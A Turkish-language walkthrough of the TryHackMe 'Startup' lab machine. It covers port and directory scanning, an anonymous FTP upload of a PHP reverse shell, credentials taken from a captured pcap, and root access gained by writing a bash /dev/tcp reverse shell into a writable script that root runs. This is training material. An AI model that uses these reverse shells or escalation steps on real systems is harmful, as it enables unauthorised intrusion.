Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Startup” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
[root:/home/alper/Desktop/TRYHACKME]# nmap -sS -sV -p- 10.10.152.72
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-09 19:52 +03
Nmap scan report for 10.10.152.72
Host is up (0.065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
2 — “anonymous:anonymous” ile FTP servisine bağlanıyorum ve dosyaları indiriyorum. Dosyalar içerisinden “maya” isminde bir kullanıcıya ulaşıyorum.
[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.152.72
Connected to 10.10.152.72.
220 (vsFTPd 3.0.3)
Name (10.10.152.72:alper): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||11163|)
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||35875|)
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 2020 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 2020 ..
-rw-r--r-- 1 0 0 5 Nov 12 2020 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 2020 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 2020 notice.txt
226 Directory send OK.
3 — Dizin taraması yapıyorum.
[root:/home/alper/Desktop/TRYHACKME]# gobuster dir -u http://10.10.152.72 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.152.72
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/09 20:00:26 Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.htaccess (Status: 403) [Size: 277]
/files (Status: 301) [Size: 312] [--> http://10.10.152.72/files/]
/index.html (Status: 200) [Size: 808]
/server-status (Status: 403) [Size: 277]
4 — “/files” dizinine girdiğim zaman FTP servisindeki dosyaları görüntüleyebildiğimi görüyorum. Bunun üzerine tekrar FTP servisine bağlanıp “php reverse shell” dosyası yüklüyorum. Tarayıcıdan tıklayarak bağlantıyı tetikliyorum.
[root:/home/alper/Desktop/TRYHACKME]# ftp 10.10.152.72
Connected to 10.10.152.72.
220 (vsFTPd 3.0.3)
Name (10.10.152.72:alper): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ftp
250 Directory successfully changed.
ftp> put shell.php
local: shell.php remote: shell.php
229 Entering Extended Passive Mode (|||20700|)
150 Ok to send data.
100% |*************************************************************************| 2354 56.12 MiB/s 00:00 ETA
226 Transfer complete.
2354 bytes sent in 00:00 (17.62 KiB/s)
ftp> exit
221 Goodbye.
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.152.72 45754
Linux startup 4.4.0-190-generic #220-Ubuntu SMP Fri Aug 28 23:02:15 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
17:02:35 up 13 min, 0 users, load average: 0.00, 0.21, 0.35
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
5 — “incidents” klasörünün içerisinde bir “pcap” dosyası buluyorum. Pythondaki “http server” modülü ile 8000 portunda bir http servisi açıp buradan kendi bilgisayarıma aktarıyorum. Diğer bir yol olarak da “ftp” dizinin içine atarak da ftp servisine bağlanıp alabilirsiniz.
$ SHELL=/bin/bash script -q /dev/null
www-data@startup:/$ ls
ls
bin home lib mnt root srv vagrant
boot incidents lib64 opt run sys var
dev initrd.img lost+found proc sbin tmp vmlinuz
etc initrd.img.old media recipe.txt snap usr vmlinuz.old
www-data@startup:/$ cat recipe.txt
www-data@startup:/$ cd incidents.txt
www-data@startup:/$ ls
ls
suspicious.pcapng
www-data@startup:/$ python3 -m http.server 8000
[root:/home/alper/Desktop/TRYHACKME]# wget http://10.10.152.72:8000/suspicious.pcapng
--2023-06-09 20:16:20-- http://10.10.152.72:8000/suspicious.pcapng
Connecting to 10.10.152.72:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31224 (30K) [application/octet-stream]
Saving to: ‘suspicious.pcapng’
suspicious.pcapng 100%[===============================================>] 30.49K --.-KB/s in 0.07s
2023-06-09 20:16:20 (455 KB/s) - ‘suspicious.pcapng’ saved [31224/31224]
6 — Wireshark dosyasını inceliyorum. Herhangi bir TCP paketine (bulamazsanız 177. paket) tıklayıp (Follow -> TCP Stream) dediğimde karşıma bazı bilgiler çıkıyor. “Lennie” kullanıcısı ve parolasını görüyorum. “lennie” kullanıcısı ile SSH servisine bağlanmaya çalışıyorum.
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ ls
ls
lennie
www-data@startup:/home$ cd lennie
cd lennie
bash: cd: lennie: Permission denied
www-data@startup:/home$ sudo -l
sudo -l
[sudo] password for www-data: *CENSORED*
7 — SSH bağlantısı kurduktan sonra ilk bayrağımı elde ediyorum.
[root:/home/alper/Desktop/TRYHACKME]# ssh lennie@10.10.152.72
*
*
*
$ whoami
lennie
$ ls
Documents scripts user.txt
$ cat user.txt
*CENSORED*
$
8 — “scripts” klasörünün içinde planner.sh adında bir dosya buluyorum. Bu dosyayı incelediğimde “LIST” adındaki bir çevre birimini startup_list.txt dosyasına yazdığını daha sonra /etc/print.sh adındaki bir betiği çalıştırdığını görüyorum. Daha sonra /etc/print.sh dosyasının içerisine bir bash reverse shell koyup bağlantı almayı bekliyorum.
$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Nov 12 2020 .
drwx------ 5 lennie lennie 4096 Jun 9 17:22 ..
-rwxr-xr-x 1 root root 77 Nov 12 2020 planner.sh
-rw-r--r-- 1 root root 1 Jun 9 17:24 startup_list.txt
$ cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
$ cat startup_list.txt
$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
$ ls -la /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
$ cat > /etc/print.sh << EOF
> #!/bin/bash
> bash -i >& /dev/tcp/10.8.94.51/4444 0>&1
> EOF
9 — Root kullanıcısı ile bir bağlantı elde ettikten sonra ikinci bayrağı da elde ediyorum.
[root:/home/alper/Desktop/TRYHACKME]# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.152.72 45812
bash: cannot set terminal process group (1775): Inappropriate ioctl for device
bash: no job control in this shell
root@startup:~# whoami
whoami
root
root@startup:~# cat /root/root.txt
cat /root/root.txt
*CENSORED*